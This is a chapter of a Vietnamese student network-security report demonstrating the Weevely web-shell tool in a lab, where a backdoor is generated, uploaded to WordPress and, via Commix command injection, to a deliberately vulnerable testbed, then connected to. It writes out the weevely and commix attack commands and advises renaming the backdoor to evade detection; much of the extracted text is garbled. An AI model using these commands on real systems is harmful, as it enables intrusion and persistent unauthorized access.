Cài đặt Weevely

Một phần của tài liệu HỌC PHẦN: AN TOÀN MẠNG BÁO CÁO CUỐI KỲ Đề tài: Tìm hiểu duy trì đăng nhập và công cụ Weevely (Trang 53)

54

Chương 3: THỬ NGHIỆM CÔNG CỤ WEEVELY

1. Demo sử dụng Weevely tạo backdoor trong Wordpress

1.1. Môi trường

- Mô tr ng dùng cho bài th c hành bao gồm 2 máy o: 1 máy o Kali Linux và 1 máy o Wordpress. 2 máy o sẽ ợc chạy trên Vmware.

- Máy o K l L nux ó ịa ch IP192.168.175.128 - Máy o Wor pr ss ó ịa ch IP: 192.168.1.48

1.2. Kịch bản

Kẻ tấn ôn s u k tấn công, truy nh p ợc vào trang web chạy PHP t n ôn v n ợ ặc quyền c a qu n trị viên. Kẻ tấn ơn s u ó t c hi n tạo backdoor trên tr n w ể ồng th uy tr ăn n p và th c hi n khai thác tài nguyên dữ li u c a trang web. Kẻ tấn công sẽ s dụng công cụ W v ly trên K l L nux ể tạo backdoor. Sau khi tạo file chứa backdoor thành công, kẻ tấn công sẽ truy nh p v t qu n trị v ên ể t i t p chứa mã backdoor vào các trình qu n lý t p c a trang web. Kẻ tấn công s dụng công cụ W v ly ể k t n i t i backdoor tạo ra và th c hi n các model webshell.

1.3. Tiến hành thử nghiệm

Bước 1: Sử dụng cơng cụ Weevely tạo ra file backdoor có tên 404.php với mật khẩu 12345

55

Hình 23: Tạo file backdoor

Hình 24: Tạo file backdoor thành công

Bước 2: Truy nhập vào trang web với tài khoản quản trị viên để tải file backdoor vào trình quản lý file.

56

Hình 25: Truy cập tài khoản quản trị viên

57

Hình 27: Tải file lên thành cơng

Hình 28: Kiểm tra file được tải lên thành công Bước 3: Từ máy kali tiến hành kết nối tới backdoor Bước 3: Từ máy kali tiến hành kết nối tới backdoor

58

Hình 29: Kết nối backdoor Bước 4: Khai thác Bước 4: Khai thác

Từ y t ó t ể tùy ý th c hi n các câu l nh shell, các modul v ặc quyền cao nhất.

59

Hình 30: Liệt kê các file trong trang web

2. Demo sử dụng Weevely kết hợp Commix để tạo và tải lên backdoor

2.1. Giới thiệu sơ qua về công cụ Commix

Commix (là từ vi t t t c a [Comm] and [i]njection e[x]ploiter - trình khai thác chèn l n ). Đ y l l một công cụ kiểm tra thâm nh p mã nguồn mở (open sourse pen-t st tool) ợc vi t bởi Anastasios Stasinopoulos, hỗ trợ vi c t ộng hóa vi c phát hi n và khai thác các lỗ hổng chèn l nh

B n quyền công cụ từ năm 2014 n th ểm hi n tại thuộc về tác gi An st s os St s nopoulos. C n tr n n y l p ần mềm miễn p í: n i dùng có thể phân ph i lại và/hoặc s ổ nó t o ều kho n c a Giấy phép Công cộng GNU do Tổ chức Phần mềm T do (Free Software Foundation) xuất b n, phiên b n 3 c a Giấy phép hoặc bất kỳ phiên b n nào m n.

Nhữn ặc tính nổi b t (theo công b c a trang ch cơng cụ): Cơng cụ có một s ặc tính nổi b t v n i s dụn n s u:

- Dễ s dụng: T ộng hóa vi c phát hi n và khai thác các lỗ hổng chèn l nh trong (các) tham s dễ bị tấn công và/hoặc các HTTP header. - Tín ộng cao. Tồn bộ những thành phần cần thi t ể th c hi n

những cuộc tấn công chèn l nh ch ng lại nhiều loại h ều hành và ứng dụn ều ợc tích hợp trong cơng cụ

- Tính mơ- un ó : N i dùng có thể phát triển và dễ dàng nh p các mô- un r ên m n ể tăn k năn tấn công c a commix và/hoặ ều ch nh nó theo nhu cầu c a họ.

- Tín t n t í éo Comm x t n t í v i nhiều công cụ kiểm tra thâm nh p k n : Metasploit Framework. Burp-suite, SQLMap, vv, do ó tỷ l phát hi n v k t t n ôn ợ tăn o.

- Tín nền t n : Comm x ợc vi t bằn Pyt on o ó nó yêu cầu Pyt on ể có thể chạy trên tất c các nền t ng.

- Miễn phí và mã nguồn mở

Trang ch công cụ: https://commixproject.com

60

2.2. Các kỹ thuật tấn công được hỗ trợ

Commix hỗ trợ phát hi n và khai thác dạng tấn công chèn l nh sau: - Tấn công chèn lệnh dựa trên kết quả (Results-based): Trong các cuộc tấn

công chèn l nh d a trên k t qu , kẻ tấn cơng có thể tr c ti p suy ra k t qu c a l n ợ v o t ôn qu p n hồi c a ứng dụng web. Các cuộc tấn công chèn l nh d a trên k t qu ợc chia thành hai kỹ thu t:

Tấn công chèn lệnh dựa trên kết quả (cổ điển): Kỹ thu t cổ ển là

kiểu tấn ôn n n và phổ bi n nhất. Cụ thể n kẻ tấn công s dụng một s tốn t phổ bi n, có thể ghép các l nh g n ầu v i các l n ợ v o oặc loại trừ các l nh g n ầu ch th c hi n các l n ợ v o.

Shellshock: Lỗ S lls o k ợc phát hi n trong Bash, một

công cụ ợc s dụng rộng rãi bởi h ều hành Unix và nhiều bi n thể c a nó, bao gồm phần mềm nguồn mở Linux và OS X c a Apple.

 Lọc ICMP (ICMP exfiltration)  Lọc DNS

Kỹ thuật đánh giá mã động (Tấn công chèn lệnh dựa trên đánh giá): Vi c chèn l n t ôn qu n m ộng diễn ra khi ứng

dụng dễ bị tấn công s dụng hàm eval(), hàm n y ợc s dụn ể th t ộn m ợc chuyển (t i hàm eval() trong th i gian chạy. H m v l() ợc cung cấp bởi nhiều ngôn ngữ thông dị n Java, Javascript, Python, Perl, PHP và Ruby.

- Tấn công chèn lệnh mù (Blind): S khác bi t chính giữa các cuộc tấn

cơng chèn l nh d a trên k t qu và các cuộc tấn công chèn l nh mù nằm ở cách dữ li u ợc truy xuất sau khi th c hi n l n s ll ợ v o. Cụ thể n ó n ữn tr ng hợp một ứng dụng sau khi th c hi n l n ợc vào không tr lại bất kỳ k t qu nào cho kẻ tấn công. Trong những tr ng hợp này, kẻ tấn cơng có thể gián ti p suy ra k t qu c a l n ợc v o ằng cách s dụng hai kỹ thu t sau:

Time-based (Blind): D a trên th i gian (Mù): Thông qua kỹ thu t

này, kẻ tấn công chèn và th c hi n các l n ể hiển thị ộ trễ th i gian. Bằn o t i gian ứng dụng ph n hồi, kẻ tấn cơng có thể x ịnh xem l n ợc th c thi thành công hay thất bại. Chức

61

năn tron B s s ll ó t ể gi i thi u ộ trễ th i gian là ch ộ ng o ó ằn qu n s t ộ trễ th i gian, kẻ tấn cơng có thể suy ra k t qu c a l n ợ v o.

File-based (SemiBlind): D a trên t p tin (B n mù): Kỹ thu t này

d a trên một logic rất n n khi kẻ tấn công không thể quan sát k t qu th c hi n một l n ợ v o t kẻ tấn cơng có thể ghi chúng vào một t p mà hãn có thể truy c p ợc.

2.3. Cài đặt công cụ

- Mô tr n ặt: Kali Linux 2021.1

- Các yêu cầu tr k ặt: M y Pyt on 2.6 2.7 oặc 3.x - Ti n n ặt: T i Commix về máy từ trang github

Hình 31: Cài đặt commix

2.4. Mơi trường

62

- Máy o K l L nux ó ịa ch IP192.168.175.128

- Máy o K l l nux ợ ặt Python 3, Commix, Docker và Weevely. - Mô tr n Comm x T st : Comm x T st l mô tr n ợc tạo ra dành riêng cho vi c th nghi m OS Command Injection vì nó tạo r mơ tr ng v i gần n to n ộ lỗ hổn OS Comm n Inj t on o n th ểm hi n tại. Do nhữn ặc tính nổi trộ ó t nghi m sẽ ợc th c hi n trên mô tr ng Comm x T st . Comm x T st ợ ặt bằng cách clone từ github theo ng d n: https://github.com/commixproject/commix-testbed

Hình 32: Clone Commix Testbed từ github

2.5. Kịch bản

Sau khi kẻ tấn ôn t m ợc lỗ hổng OS Command injection. Kẻ tấn ôn t c hi n thành công tấn công vào lỗ hổn ó. B y kẻ tấn công sẽ ti n hành tạo backdoor và t k oor ó lên mục tiêu tấn ôn ợc. Ở bài

63

demo này, chúng ta sẽ s dụng môi tr n Comm x T st ể l m mô tr ng chứa lỗ hổn ể tấn công.

2.6. Tiến hành thử nghiệm

Bước 1: Khởi động môi trường chứa lỗ hổng

Bây gi chúng ta bi t mình sẽ s dụng cơng cụ nào và mụ í a chúng là gì, hãy b t ầu khở ộn mô tr ng chứa lỗ hổng c a chúng ta mà chúng ta sẽ khai thác một cách an toàn và hợp pháp.

Đ i v ều này, chúng ta sẽ s dụng các vùng chứa Docker vì chúng dễ t i lên và g xu ng và chúng ta có thể chạy chúng trong một máy o riêng bi t chạy h ều hành mà chúng ta l a chọn.

Bây gi chúng ta sẽ khở ộn Do k r v kéo v o tron mô tr ng Commix Testbed:

64

Hình 33: Khởi động Docker và kéo vào Commix Testbed Bước 2: Tạo file backdoor bằng Weevely

Chúng ta sẽ s dụng một s dụng 1 c a sổ cmd m ể tạo file backdoor tại mục Documents.

Hình 34: Thư mục Documents

S u ó y tạo backdoor bằng Weevely bằng l nh:

 weevely generate commix weevely.php

Thao tác này sẽ tạo một t p t n w v ly.p p tron t mục hi n tại c a chúng ta v i m t khẩu l omm x. Để xem nội dung, chúng ta có thể gõ:

 cat weevely.php

65

N ạn có thể thấy, mã bị xáo trộn t ơn qu m ó n n m n y là thứ tạo ra c a sau c a chúng ta.

Nhữn n i tạo ra Weevely gọ y l t n n s u v y l t p mà chúng ta mu n t lên t mụ w í . S u k nó ợc t lên t mục web í n t sẽ yêu cầu máy ch web th t m PHP ó l m un ấp cho chúng ta có quyền truy c p từ xa. Vì v y, tác nhân ph i có thể truy c p ợc từ URL mà bạn có quyền truy c p, n u k ôn ều này sẽ không hoạt ộng.

Bước 3: Tải backdoor lên bằng Commix

Ở y n t s dụng công cụ Comm x ể t i lên backdoor. Chúng ta sẽ s dụng câu l n s u ể t i lên:

 python3 commix.py --url="http://127.0.0.1:3000/commix-

testbed/scenarios/regular/GET/classic.php?addr=INJECT_HERE" --file- upload="/home/kali/Documents/weevely.php" --file-

dest="/var/www/example.com/public_html/commix- testbed/scenarios/regular/GET/"

66

V i l nh này chúng ta sẽ t i file backdoor lên mục tiêu

(/var/www/example.com/public_html/commix-testbed/scenarios/regular/GET/) *Đ n y t nghi m bị lỗi HTTP, do v y s u y m x n p ép tr n bày lý thuy t ể th c hi n n t bài th nghi m.

C n tr n sẽ h i li u chúng ta có mu n kích hoạt một máy ch HTTP và chúng ta sẽ tr l i là Y.

S u ó n t sẽ nh n ợc c nh báo gi ng trong k t qu này: [warning] It seems that you don't have permissions to write the

'/var/www/example.com/public_html/commix- testbed/scenarios/regular/GET/weevely.php' file.

67

Và t p k ôn v t k o n n t n ạy ứng dụng khơng có quyền thích hợp, chúng ta có thể thấy ều này trong nh t ký Ap . Đ ều này là do cách các quyền ợc thi t l p trên máy ch /vùng chứa.

Hình 38: Nhật ký Apache

N u chúng ta thoát ra kh i nh t ký lỗi và chạy ls -l, chúng ta sẽ thấy rằng t mục thuộc sở hữu c a root. Mặc dù mình khơng khun bạn nên s dụng tài kho n root ể sở hữu t mục ứng dụn w n n tron tr ng hợp này, nó n ăn n t t i lên t p qua lỗ hổng command injection, vì v y ó l ều cần l u ý k n t k m p n pháp phòng th sau này Quyền có thể ón một vai trị trong vi n ăn ặn các cuộc tấn ôn n n n ũn không nên là bi n pháp b o v duy nhất.

H y t y ổi các quyền n y ể chúng ta có thể th c hi n vi c t i t p lên v i câu l nh:

68

 chown -R www-data:www-data commix-testbed Bây gi , hãy chạy lại cuộc tấn công c a chúng ta:

 python3 commix.py --url="http://127.0.0.1:3000/commix-

testbed/scenarios/regular/GET/classic.php?addr=INJECT_HERE" --file- upload="/home/kali/Documents/weevely.php" --file-

dest="/var/www/example.com/public_html/commix- testbed/scenarios/regular/GET/"

Và chúng ta sẽ ạt ợc mụ í k t ơn o n y n lên: [info] The /var/www/example.com/public_html/commix-

testbed/scenarios/regular/GET/weevely.php file was uploaded successfully! C n t t i tác nhân backdoor c a mình lên máy ch và chúng ta có thể xác minh bằng Pseudo-terminal:

 ls weevely.php

Bước 3: Kết nối với tác nhân backdoor

Sau khi t i lên tác nhân backdoor, chúng ta có thể th c thi t p l nh bằng Weevely từ h th ng c a mình:

 weevely http://127.0.0.1:3000//commix-

testbed/scenarios/regular/GET/weevely.php commix

69

Hình 39: Thực thi tập lệnh từ xa bằng Weevely

Gi y n t ó quyền truy c p shell vào máy ch /vùng chứa và n u y k ôn p l mơ tr ng phịng thí nghi m, chúng ta có thể giữ quyền truy c p này miễn là nạn nhân c a chúng ta không nh n r k oor n ở ó.

3. Kết luận thử nghiệm việc tạo backdoor với Weevely

Xem xét rằng t p 404.php hay weevely.php này ch là một trong hàng nghìn t p trên h th ng, tùy thuộc vào mứ ộ phức tạp c a mục tiêu c a bạn, có thể là nạn nhân sẽ khơng bao gi tìm thấy t p này. Bạn th m chí có thể t y ổi tên t p này thành một tên t p trộn l n nhiều n v o tron n n n t p khác. Ví dụ: có một loạt các t p ở y t ầu bằng classic_, vì v y bạn có thể ặt tên là classic_advanced_auth.php c a mình và nó sẽ v o n trăm t p t n t

70

71 III. KẾT LUẬN

C n t vừa khám phá công cụ tuy t v i có tên Weevely trong bài này bằng cách s dụng nó th c t tron mô tr ng th nghi m. Ch cần li t kê các mô- un/tùy ọn do Weevely cung cấp, chúng ta có thể hình dung cơng cụ này có những kh năn .

Chúng ta có thể thấy vi c s dụng công cụ W v ly ể tạo backdoor, k t n n k oor s u k ợc t i lên lên máy ch web mục tiêu, và th c hi n các modul ể khai thác thông tin, s ổi, tấn công là rất n n, dễ dàng. Cơng cụ có sẵn trên kali hoặc có thể t i về, rất dễ s dụng v ng d n chi ti t ầy .

Cùng v ó n t ợc tìm hiểu và bi t ển về uy tr ăn n p – một tron năm c quan trọng c a mọi tin tặ ều ph tu n t o. Đ y l một trong nhữn c vơ cùng quan trọng vì khi tin tặ n ợc quyền truy c p vào h th ng mục tiêu, tin tặc có thể chọn s dụng c h th ng và tài nguyên c a nó ồng th i s dụng h th n n y n một b p ón ể quét và khai thác các h th ng khác hoặc giữ một cấu hình thấp và ti p tục khai thác h th n . Để làm ợc nhữn ều này tin tặc cần duy trì một truy c p thông su t và không bị phát hi n. V n t ợc bi t n qu v ịnh nghĩa trong bài tiểu lu n.

LINK VIDEO BÀI THỬ NGHIỆM

- Demo s dụng Weevely tạo backdoor trong Wordpress: https://youtu.be/WST100ZVFqY

- Demo s dụng Weevely k t hợp Comm x ể tạo và t i lên backdoor: https://drive.google.com/file/d/1M-

Một phần của tài liệu HỌC PHẦN: AN TOÀN MẠNG BÁO CÁO CUỐI KỲ Đề tài: Tìm hiểu duy trì đăng nhập và công cụ Weevely (Trang 53)

Tải bản đầy đủ (PDF)

(72 trang)